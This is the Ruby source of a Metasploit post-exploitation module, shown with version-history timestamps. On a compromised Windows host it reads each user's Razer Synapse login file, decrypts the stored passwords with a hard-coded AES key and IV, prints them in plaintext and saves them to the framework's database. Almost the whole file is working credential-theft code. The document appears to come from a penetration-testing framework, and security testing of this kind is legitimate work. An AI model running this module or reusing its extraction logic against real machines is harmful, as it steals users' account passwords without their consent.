metasploit-framework/modules/post/windows/gather/credentials/razer_synapse.rb

117 lines
3.4 KiB
Ruby
Raw Normal View History

2013-01-16 02:14:49 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-16 02:14:49 +00:00
##
require 'msf/core'
require 'rex'
require 'openssl'
class Metasploit3 < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Razer Synapse Password Extraction',
'Description' => %q{
This module will enumerate passwords stored by the Razer Synapse
client. The encryption key and iv is publicly known. This module
will not only extract encrypted password but will also decrypt
password using public key. Affects versions earlier than 1.7.15.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
[ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
],
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'win' ]
))
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# decrypt password
def decrypt(hash)
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
cipher.decrypt
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
cipher.iv = "ryojvlzmdalyglrj"
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
hash.each_pair { |user,pass|
pass = pass.unpack("m")[0]
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
password = cipher.update pass
password << cipher.final rescue return nil
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
store_creds(user, password.split("||")[1])
print_good("Found credentials")
print_good("\tUser: #{user}")
print_good("\tPassword: #{password.split("||")[1]}")
}
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
def store_creds(user, pass)
if db
report_auth_info(
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
:port => 443,
:ptype => 'password',
:sname => 'razer_synapse',
:user => user,
:pass => pass,
:duplicate_ok => true,
:active => true
)
vprint_status("Loot stored in the db")
end
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# Loop throuhg config, grab user and pass
def parse_config(config)
if not config =~ /<Version>\d<\/Version>/
creds = {}
cred_group = config.split("</SavedCredentials>")
cred_group.each { |cred|
user = /<Username>([^<]+)<\/Username>/.match(cred)
pass = /<Password>([^<]+)<\/Password>/.match(cred)
if user and pass
creds[user[1]] = pass[1]
end
}
return creds
else
print_error("Module only works against configs from version < 1.7.15")
return nil
end
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# main control method
def run
grab_user_profiles().each do |user|
if user['LocalAppData']
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
next if not file?(accounts)
print_status("Config found for user #{user['UserName']}")
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
contents = read_file(accounts)
2013-01-16 02:14:49 +00:00
2013-09-05 18:41:25 +00:00
# read the contents of file
creds = parse_config(contents)
if creds
decrypt(creds)
else
print_error("Could not read config or empty for #{user['UserName']}")
end
end
end
end
end